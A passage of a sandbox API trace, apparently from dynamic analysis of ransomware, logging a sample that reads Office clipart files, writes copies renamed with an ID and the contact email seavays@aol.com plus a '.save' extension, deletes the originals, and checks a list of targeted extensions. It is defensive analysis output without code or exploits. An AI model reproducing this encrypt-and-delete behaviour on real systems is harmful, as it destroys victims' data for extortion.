Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0169.759] lstrlenW (lpString=".1cd") returned 4 [0169.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0169.759] lstrlenW (lpString=".jpg") returned 4 [0169.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.760] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.760] lstrlenW (lpString="J0105380.WMF") returned 12 [0169.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0169.761] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=4624) returned 1 [0169.761] CloseHandle (hObject=0x520) returned 1 [0169.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220 [0169.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0169.763] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.763] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0169.764] GetLastError () returned 0x0 [0169.764] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1210, lpOverlapped=0x0) returned 1 [0169.765] WriteFile (in: hFile=0x54c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1220, lpOverlapped=0x0) returned 1 [0169.767] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.767] WriteFile (in: hFile=0x54c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.767] SetEndOfFile (hFile=0x54c) returned 1 [0169.767] CloseHandle (hObject=0x54c) returned 1 [0169.767] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.767] SetEndOfFile (hFile=0x520) returned 1 [0169.770] CloseHandle (hObject=0x520) returned 1 [0169.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0169.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0169.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0169.772] lstrlenW (lpString=".doc") returned 4 [0169.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.772] lstrlenW (lpString=".docx") returned 5 [0169.772] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.772] lstrlenW (lpString=".pdf") returned 4 [0169.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.772] lstrlenW (lpString=".xls") returned 4 [0169.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.772] lstrlenW (lpString=".xlsx") returned 5 [0169.772] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.772] lstrlenW (lpString=".ppt") returned 4 [0169.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0169.772] lstrlenW (lpString=".zip") returned 4 [0169.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.773] lstrlenW (lpString=".rar") returned 4 [0169.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.773] lstrlenW (lpString=".bz2") returned 4 [0169.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.773] lstrlenW (lpString=".7z") returned 3 [0169.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0169.773] lstrlenW (lpString=".dbf") returned 4 [0169.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0169.773] lstrlenW (lpString=".1cd") returned 4 [0169.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0169.773] lstrlenW (lpString=".jpg") returned 4 [0169.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0169.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0169.773] lstrlenW (lpString=".doc") returned 4 [0169.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.773] lstrlenW (lpString=".docx") returned 5 [0169.773] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.773] lstrlenW (lpString=".pdf") returned 4 [0169.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.773] lstrlenW (lpString=".xls") returned 4 [0169.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.773] lstrlenW (lpString=".xlsx") returned 5 [0169.774] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.774] lstrlenW (lpString=".ppt") returned 4 [0169.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0169.774] lstrlenW (lpString=".zip") returned 4 [0169.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.774] lstrlenW (lpString=".rar") returned 4 [0169.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.774] lstrlenW (lpString=".bz2") returned 4 [0169.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.774] lstrlenW (lpString=".7z") returned 3 [0169.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0169.774] lstrlenW (lpString=".dbf") returned 4 [0169.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0169.774] lstrlenW (lpString=".1cd") returned 4 [0169.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0169.774] lstrlenW (lpString=".jpg") returned 4 [0169.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.774] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.775] lstrlenW (lpString="J0105384.WMF") returned 12 [0169.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0169.775] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=5880) returned 1 [0169.776] CloseHandle (hObject=0x520) returned 1 [0169.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220 [0169.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0169.776] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.776] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0169.777] GetLastError () returned 0x0 [0169.777] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x16f8, lpOverlapped=0x0) returned 1 [0169.779] WriteFile (in: hFile=0x54c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1700, lpOverlapped=0x0) returned 1 [0169.781] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.781] WriteFile (in: hFile=0x54c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.781] SetEndOfFile (hFile=0x54c) returned 1 [0169.782] CloseHandle (hObject=0x54c) returned 1 [0169.782] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.782] SetEndOfFile (hFile=0x520) returned 1 [0169.786] CloseHandle (hObject=0x520) returned 1 [0169.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0169.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0169.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0169.788] lstrlenW (lpString=".doc") returned 4 [0169.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.788] lstrlenW (lpString=".docx") returned 5 [0169.788] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.788] lstrlenW (lpString=".pdf") returned 4 [0169.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.788] lstrlenW (lpString=".xls") returned 4 [0169.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.788] lstrlenW (lpString=".xlsx") returned 5 [0169.788] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.788] lstrlenW (lpString=".ppt") returned 4 [0169.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0169.788] lstrlenW (lpString=".zip") returned 4 [0169.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.788] lstrlenW (lpString=".rar") returned 4 [0169.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.788] lstrlenW (lpString=".bz2") returned 4 [0169.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.788] lstrlenW (lpString=".7z") returned 3 [0169.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0169.789] lstrlenW (lpString=".dbf") returned 4 [0169.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0169.789] lstrlenW (lpString=".1cd") returned 4 [0169.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0169.789] lstrlenW (lpString=".jpg") returned 4 [0169.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0169.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0169.789] lstrlenW (lpString=".doc") returned 4 [0169.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.789] lstrlenW (lpString=".docx") returned 5 [0169.789] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.789] lstrlenW (lpString=".pdf") returned 4 [0169.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.789] lstrlenW (lpString=".xls") returned 4 [0169.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.789] lstrlenW (lpString=".xlsx") returned 5 [0169.789] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.789] lstrlenW (lpString=".ppt") returned 4 [0169.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0169.789] lstrlenW (lpString=".zip") returned 4 [0169.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.790] lstrlenW (lpString=".rar") returned 4 [0169.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.790] lstrlenW (lpString=".bz2") returned 4 [0169.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.790] lstrlenW (lpString=".7z") returned 3 [0169.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0169.790] lstrlenW (lpString=".dbf") returned 4 [0169.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0169.790] lstrlenW (lpString=".1cd") returned 4 [0169.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0169.790] lstrlenW (lpString=".jpg") returned 4 [0169.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.790] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.790] lstrlenW (lpString="J0105386.WMF") returned 12 [0169.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0169.792] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=5980) returned 1 [0169.792] CloseHandle (hObject=0x520) returned 1 [0169.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220 [0169.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0169.793] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.793] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0170.127] GetLastError () returned 0x0 [0170.127] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x175c, lpOverlapped=0x0) returned 1 [0170.128] WriteFile (in: hFile=0x544, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1760, lpOverlapped=0x0) returned 1 [0170.129] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.129] WriteFile (in: hFile=0x544, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.130] SetEndOfFile (hFile=0x544) returned 1 [0170.130] CloseHandle (hObject=0x544) returned 1 [0170.130] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.130] SetEndOfFile (hFile=0x520) returned 1 [0170.132] CloseHandle (hObject=0x520) returned 1 [0170.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0170.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0170.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0170.134] lstrlenW (lpString=".doc") returned 4 [0170.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.134] lstrlenW (lpString=".docx") returned 5 [0170.134] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.134] lstrlenW (lpString=".pdf") returned 4 [0170.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.134] lstrlenW (lpString=".xls") returned 4 [0170.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.134] lstrlenW (lpString=".xlsx") returned 5 [0170.134] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.134] lstrlenW (lpString=".ppt") returned 4 [0170.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0170.134] lstrlenW (lpString=".zip") returned 4 [0170.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.135] lstrlenW (lpString=".rar") returned 4 [0170.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.135] lstrlenW (lpString=".bz2") returned 4 [0170.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.135] lstrlenW (lpString=".7z") returned 3 [0170.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0170.135] lstrlenW (lpString=".dbf") returned 4 [0170.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0170.135] lstrlenW (lpString=".1cd") returned 4 [0170.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0170.135] lstrlenW (lpString=".jpg") returned 4 [0170.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0170.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0170.135] lstrlenW (lpString=".doc") returned 4 [0170.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.135] lstrlenW (lpString=".docx") returned 5 [0170.135] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.135] lstrlenW (lpString=".pdf") returned 4 [0170.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.135] lstrlenW (lpString=".xls") returned 4 [0170.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.135] lstrlenW (lpString=".xlsx") returned 5 [0170.135] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.135] lstrlenW (lpString=".ppt") returned 4 [0170.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0170.136] lstrlenW (lpString=".zip") returned 4 [0170.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.136] lstrlenW (lpString=".rar") returned 4 [0170.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.136] lstrlenW (lpString=".bz2") returned 4 [0170.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.136] lstrlenW (lpString=".7z") returned 3 [0170.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0170.136] lstrlenW (lpString=".dbf") returned 4 [0170.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0170.136] lstrlenW (lpString=".1cd") returned 4 [0170.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0170.136] lstrlenW (lpString=".jpg") returned 4 [0170.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.136] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.136] lstrlenW (lpString="J0105502.WMF") returned 12 [0170.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program 